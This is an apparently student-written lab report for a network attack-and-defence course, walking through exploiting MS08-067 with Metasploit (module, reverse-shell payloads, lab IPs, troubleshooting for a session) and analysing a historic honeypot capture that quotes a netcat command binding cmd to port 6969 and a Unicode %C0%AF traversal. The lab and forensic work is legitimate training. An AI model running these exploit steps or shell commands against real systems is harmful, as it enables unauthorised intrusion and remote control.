20252813 2025-2026-2 《网络攻防实践》 第6次作业

20252813 2025-2026-2 《网络攻防实践》实践六报告

1.实践内容

1.1 本周学习内容总结

本周重点学习了Windows操作系统的安全攻防技术。主要内容包括:

  • Windows安全漏洞原理:学习了以MS08-067为代表的Windows高危漏洞原理,该漏洞是Windows Server服务在处理RPC请求时存在的缓冲区溢出漏洞,攻击者无需认证即可通过445端口触发,实现远程代码执行。

  • Metasploit渗透框架:学习了Metasploit Framework(MSF)的基本使用方法,包括msfconsole的启动、模块搜索(search)、漏洞利用模块加载(use)、参数设置(set RHOST/LHOST/payload)以及攻击触发(exploit)等核心操作。Meterpreter是获取目标主机控制权后获得的高级交互式Shell,支持文件操作、进程管理、键盘记录等多种功能。

  • Windows系统安全机制:了解了Windows早期的安全缺陷,如SMB协议的脆弱性、端口暴露风险、以及缺乏有效防护机制的问题,理解了补丁管理在系统安全中的重要性。

  • 蜜罐技术与取证分析:学习了蜜罐(Honeypot)的概念——一种故意设计为脆弱的诱捕系统,用于引诱攻击者并记录其攻击行为。同时,学习了如何通过Wireshark进行协议分析,从流量数据中还原攻击过程。

  • 横向移动与认证攻击:学习了PsExec工具和哈希传递(Pass-the-Hash)攻击的原理,攻击者在获取一个系统的控制权后,可以通过提取密码哈希值,利用SMB协议在局域网内进行横向移动,扩大控制范围。

1.2 实践内容

本次实践包含三个任务,均基于Windows操作系统的安全攻防:

  • 实践任务一:使用Metasploit框架对Windows靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权限。

  • 实践任务二:通过Wireshark分析攻击者成功攻陷NT蜜罐主机的网络流量数据,还原攻击过程,识别攻击工具和操作行为,并回答相关问题。

  • 实践任务三:团队对抗实践,分为攻防双方——攻方使用Metasploit对Windows靶机进行远程渗透攻击,防守方使用Wireshark监听网络数据包并分析攻击过程。

2.实践过程

2.1 动手实践Metasploit windows attacker

2.1.1 环境准备

本次实验使用的虚拟机环境如下:

角色 系统 IP地址
攻击机 Kali Linux 192.168.200.6
靶机 win2k(存在MS08-067漏洞) 192.168.200.10

两台虚拟机网络设置为NAT模式,确保攻击机与靶机能够相互通信。

2.1.2 步骤一:启动Metasploit并搜索漏洞

在Kali终端中启动Metasploit控制台:

sudo msfconsole

image

进入Metasploit后,搜索MS08-067漏洞的相关模块:

msf6 > search ms08_067

image

搜索显示exploit/windows/smb/ms08_067_netapi模块。

2.1.3 步骤二:加载漏洞利用模块并查看配置

使用以下命令加载漏洞利用模块:

msf6 > use exploit/windows/smb/ms08_067_netapi

image

查看该模块需要配置的参数:

msf6 exploit(windows/smb/ms08_067_netapi) > show options

image

从输出中可以看到需要设置的参数主要包括:

  • RHOSTS:目标靶机的IP地址
  • RPORT:目标端口(SMB服务默认使用445端口)
  • LHOST:攻击机的IP地址(当使用反向连接payload时需要)

2.1.4 步骤三:查看可用payload并选择

查看该漏洞利用模块可用的攻击载荷:

msf6 exploit(windows/smb/ms08_067_netapi) > show payloads

image

2.1.5 步骤四:设置攻击参数

选择generic/shell_reverse_tcp作为攻击载荷,该载荷会在漏洞触发后使靶机主动向攻击机发起反向Shell连接,能够有效绕过防火墙限制:

msf6 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp

设置目标靶机的IP地址:

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.200.10

设置攻击机IP地址(即本机IP):

msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.200.6

image

2.1.6 步骤五:发起攻击

执行攻击命令:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

image

攻击成功后,Metasploit将显示Meterpreter session X opened的信息,表明已成功获取目标主机的控制权。

2.1.7 步骤六:验证控制权

获取控制权后,可以执行以下命令验证:

> ipconfig

image

从输出结果可以看到靶机的网络配置信息,结合实际IP地址进行比对,可以确认已经成功控制了靶机。

此外,还可以尝试执行其他系统命令,如sysinfo查看系统信息、getuid查看当前用户权限等

2.1.8 MS08-067漏洞原理简述

MS08-067是Windows系统中一个经典的远程代码执行漏洞(CVE-2008-4250),影响Windows 2000、Windows XP和Windows Server 2003等系统。该漏洞位于SMB服务的Server服务程序中,当NetPathCanonicalize函数在处理RPC请求中的路径规范化操作时,由于缺乏对输入长度的正确校验,导致栈缓冲区溢出。攻击者可通过向445端口发送特制的RPC请求,触发该溢出,从而在目标系统上执行任意代码。由于其无需认证即可利用的特性,该漏洞也成为Conficker蠕虫传播的重要载体之一。

2.2 取证分析实践:解码一次成功的NT系统破解攻击

2.2.1 实验背景

本任务分析一次真实的攻击取证案例:来自IP地址212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名lab.wiretrip.net)。通过Wireshark分析攻击流量数据包(snort-0204@0117.log),还原攻击者的完整攻击过程。

2.2.2 步骤一:打开数据包文件

在Kali中,使用Wireshark打开提供的snort-0204@0117.log流量日志文件

使用Wireshark的显示过滤器,筛选攻击源IP(212.116.251.162)和目标蜜罐IP(172.16.1.106)之间的所有通信流量:

ip.addr == 212.116.251.162 && ip.addr == 172.16.1.106

image

观察过滤结果,可以看到攻击者与蜜罐之间的TCP连接和HTTP数据流。

2.2.3 步骤二:识别Unicode攻击

在过滤结果中查找第117号数据包跟踪TCP数据流,可以看到HTTP请求中包含特殊字符%C0%AF。在Unicode编码中,%C0%AF对应“/”字符,这是经典的Unicode攻击特征——攻击者通过Unicode编码绕过路径检查,尝试访问系统敏感文件boot.ini

image

2.2.4 步骤三:识别SQL注入攻击

在第102号数据包中,发现攻击者输入了SQL查询语句进行注入攻击。数据包中包含特征字符串“ADM!ROX!YOUR!WORLD”,这可以推测攻击者使用了msadc2.pl渗透攻击代码,目标是IIS的msadcs.dll组件,属于经典的msadc SQL注入攻击。
image

2.2.5 步骤四:追踪FTP连接尝试

进一步分析后续数据包可以发现,攻击者曾尝试连接FTP服务,但初始几次尝试均因账号密码错误被拒绝。经过持续尝试,攻击者最终成功建立了FTP连接。

image

2.2.6 步骤五:识别Netcat反向Shell

攻击者获取FTP访问权限后,通过Netcat(nc)工具构建了一个远程Shell通道,并执行以下命令:

cmd1.exe /c nc -l -p 6969 -e cmd1.exe

该命令的含义是:使用cmd1.exe(实际为cmd.exe的分身或修改版)执行Netcat,在6969端口监听(-l),当有连接时会将cmd1.exe的输入输出与网络连接绑定(-e),为攻击者建立一个交互式的命令Shell控制通道。随后攻击机连接到该6969端口,获得系统访问权限,进入交互式控制阶段。
image

2.2.7 步骤六:分析攻击者入侵后的操作

通过分析攻击者获得Shell后的网络数据包,还原其后续操作行为:

  • 查看文件:使用dir命令查看目录内容
  • 删除文件:删除某些文件(可能是日志文件)
  • 查看文本内容:使用type命令读取文件内容
  • 查看用户信息:查看系统用户列表
  • 写入文件:向系统中写入新文件
  • 尝试提升权限:通过拷贝/删除文件等方式试图获取更高权限
  • 试图建立rdisk(紧急修复磁盘):可能的后门维持操作

从操作模式来看,攻击者在获得初步控制权后,重点进行信息收集和权限维持,是一套典型的攻击后操作流程。

image

2.2.8 问题回答

(1) 攻击者使用了什么破解工具进行攻击?

攻击者使用了以下工具:

  • msadc2.pl:用于SQL注入和IIS(msadcs.dll组件)攻击的Perl脚本
  • Netcat(nc):用于建立反向Shell和监听通道
  • FTP客户端工具:用于文件传输

(2) 攻击者如何使用这个破解工具进入并控制了系统?

整个攻击过程的步骤如下:

  1. 目录遍历攻击:攻击者首先使用Unicode编码(%C0%AF)绕过路径检查,获取系统boot.ini文件信息,确认目标系统类型。

  2. 探测IIS组件:攻击者通过HTTP请求探测msadcs.dll是否存在。

  3. SQL注入攻击:使用msadc2.pl工具对msadcs.dll发起SQL注入攻击,利用该组件的安全漏洞执行数据库查询。

  4. FTP登录:经过多次尝试后成功登录FTP服务,为后续文件传输做准备。

  5. 部署Netcat:攻击者利用Netcat构建反向Shell通道,执行cmd1.exe /c nc -l -p 6969 -e cmd1.exe命令,在6969端口建立交互式命令Shell。

  6. 获取控制权:攻击机连接到6969端口,获得系统的完全访问控制权。

(3) 攻击者获得系统访问权限后做了什么?

攻击者获得控制权后进行了以下操作:

  • 浏览目录和文件结构,了解系统配置
  • 删除文件(可能包括日志文件以清理痕迹)
  • 查看文本文件内容,获取敏感信息
  • 查看系统用户列表
  • 尝试提升权限以便获得更高系统控制级别
  • 建立rdisk(紧急修复磁盘),作为后续访问的后门入口

(4) 我们如何防止这样的攻击?

针对此类攻击,可以采取以下防范措施:

  • 安装安全补丁:及时为Windows系统安装安全更新,特别是针对IIS相关组件的安全补丁,这是阻断此类漏洞利用的最根本方法。

  • 加固IIS配置:移除不必要的ISAPI扩展,禁用msadcs.dll等存在漏洞的组件;限制HTTP请求的URL长度和字符集。

  • 最小权限原则:使用最小权限账户运行Web服务和应用,限制攻击者获取控制权后的破坏范围。

  • 网络访问控制:在网络边界部署防火墙,对外部访问的关键服务端口(如FTP、SMB等)进行严格控制。

  • 入侵检测系统(IDS/IPS):部署IDS/IPS系统,对Unicode编码攻击模式、SQL注入特征等攻击特征进行检测和阻断。

  • 日志审计:启用全面的日志记录和审计功能,定期检查异常访问模式。

(5) 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

是,攻击者很可能警觉了他的目标是一台蜜罐主机。

理由如下:

① 从数据包中可以看到攻击者使用的cmd1.exe /c nc -l -p 6969 -e cmd1.exe命令中,“cmd1.exe”这一命名暗示攻击者可能意识到目标并非真正的生产环境——在真实的实战攻击中,攻击者通常会尽量隐藏自身行为,使用系统原生cmd.exe以避免留下特征文件名,而使用自定义名称“cmd1.exe”反而说明攻击者并不担心被防御方发现,甚至可能有意测试蜜罐的反应。

② 从攻击链的完整性来看,攻击者有条不紊地完成了信息收集、漏洞利用和权限维持的全流程,但后续没有明显的横向扩展行为,这可能是攻击者已经意识到目标环境是受监控的,因此选择迅速撤离。

③“ADM!ROX!YOUR!WORLD”这一特征字符串也可能是攻击者留下的“签名”,暗示其知晓目标环境的特殊性。

2.3 团队对抗实践:Windows系统远程渗透攻击和分析

2.3.1 实践环境

本次团队对抗实践分为攻击方和防守方两组:

攻击方

  • 攻击机:Kali Linux(IP地址:192.168.200.6)
  • 使用漏洞:MS08-067
  • 连接方式:NAT模式,确保双方在同一网段可通信

防守方

  • 防守机:Win2k(IP地址:192.168.200.11)
  • 分析工具:Wireshark

2.3.2 攻击方操作步骤

攻击方在靶机上执行渗透攻击的步骤如下:

Step 1:启动Metasploit并加载模块

sudo msfconsole
msf6 > use exploit/windows/smb/ms08_067_netapi

Step 2:设置攻击参数

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.200.6
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.200.11

Step 3:实施攻击

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

成功获得Meterpreter会话。
image

Step 4:执行后渗透操作

mkdir hr
cd hr
echo hello!attacker!>>attacker.txt

image

winnt\system32下有hr目录
image

在kali上使用wireshark进行监听
image

3.学习中遇到的问题及解决

  • 问题1:攻击机与靶机之间的网络连通性问题

    启动环境后发现攻击机无法ping通靶机,导致后续渗透攻击失败。

    解决方案:检查两台虚拟机的网络设置,确认设置为NAT模式后,查看IP地址是否在同一网段。若IP网段不同,需要手动修改靶机的IP地址(通过控制面板→网络连接→本地连接→属性→Internet协议(TCP/IP)),将其设置为与攻击机同一网段的IP地址。设置完成后,再次进行ping测试确认连通。

  • 问题2:MS08-067模块执行失败,提示“Exploit completed, but no session was created”

    攻击执行后显示漏洞利用成功但未能创建会话。

    解决方案:出现此问题通常由以下原因导致:①靶机系统版本与模块默认target不匹配,可以在msf中通过show targets查看可用的targets,使用set target 0选择相应版本;②防火墙或安全软件阻止了反向连接,可尝试验证靶机是否开启了防火墙服务;③payload选择不当,可尝试更换windows/shell_reverse_tcp等其他payload。

  • 问题3:Wireshark过滤不出相关流量

    在取证分析实践中,使用过滤条件没有正确显示目标流量。

    解决方案:确认数据包文件路径是否正确;在过滤前先检查数据包列表中是否存在212.116.251.162和172.16.1.106这两个IP地址;使用ip.addr == 212.116.251.162这一较简单的过滤条件先确认源IP存在,再逐步添加其他条件进行细化。

  • 问题4:攻击机上snort日志文件无法直接打开

    解决方案:在Kali中安装Wireshark后使用sudo wireshark启动,通过File→Open选择该文件,Wireshark会自动识别文件格式并打开。

4.实践总结

本次实践围绕Windows操作系统安全攻防展开,完成了三个核心任务:Metasploit远程渗透攻击攻击流量取证分析团队对抗实践

在Metasploit渗透实验中,我深入理解了MS08-067漏洞的利用全过程。从环境连通性确认、漏洞搜索、模块加载到参数设置和攻击执行,完整经历了渗透测试的标准流程。成功获取Meterpreter会话后,进一步验证了对靶机的完全控制权,加深了对Windows SMB服务脆弱性的认识。

在取证分析实践中,通过Wireshark分析攻击流量成功还原了一次真实的NT系统攻击过程,识别了攻击者使用的工具序列和完整的攻击链:Unicode目录遍历探测→SQL注入攻击→FTP登录→Netcat反向Shell部署→远程控制获取。这次分析使我对攻击链路识别、恶意流量特征分析等技能有了实质提升,同时深刻理解了蜜罐技术在网络安全防御中的关键作用。

在团队对抗实践中,以攻防双角色参与加深了对渗透攻防的理解。攻击方的操作让防守方能够从流量特征倒推攻击行为,防守方的分析反馈也让攻击方了解其行为如何被监测——这种“红蓝对抗”视角强化了对潜在安全威胁的预判能力。

本次实践让我认识到网络安全防护需要主动防御思维,及时的安全补丁管理、严格的网络访问控制、全面的日志审计与入侵检测部署,是实现纵深防御的必要措施——安全防护者只有像攻击者一样思考,不断通过实战演练发现并弥补防护薄弱点,才能真正提升应对网络攻击威胁的能力。

参考资料

posted @ 2026-04-26 21:28  后生许令  阅读(14)  评论(0)    收藏  举报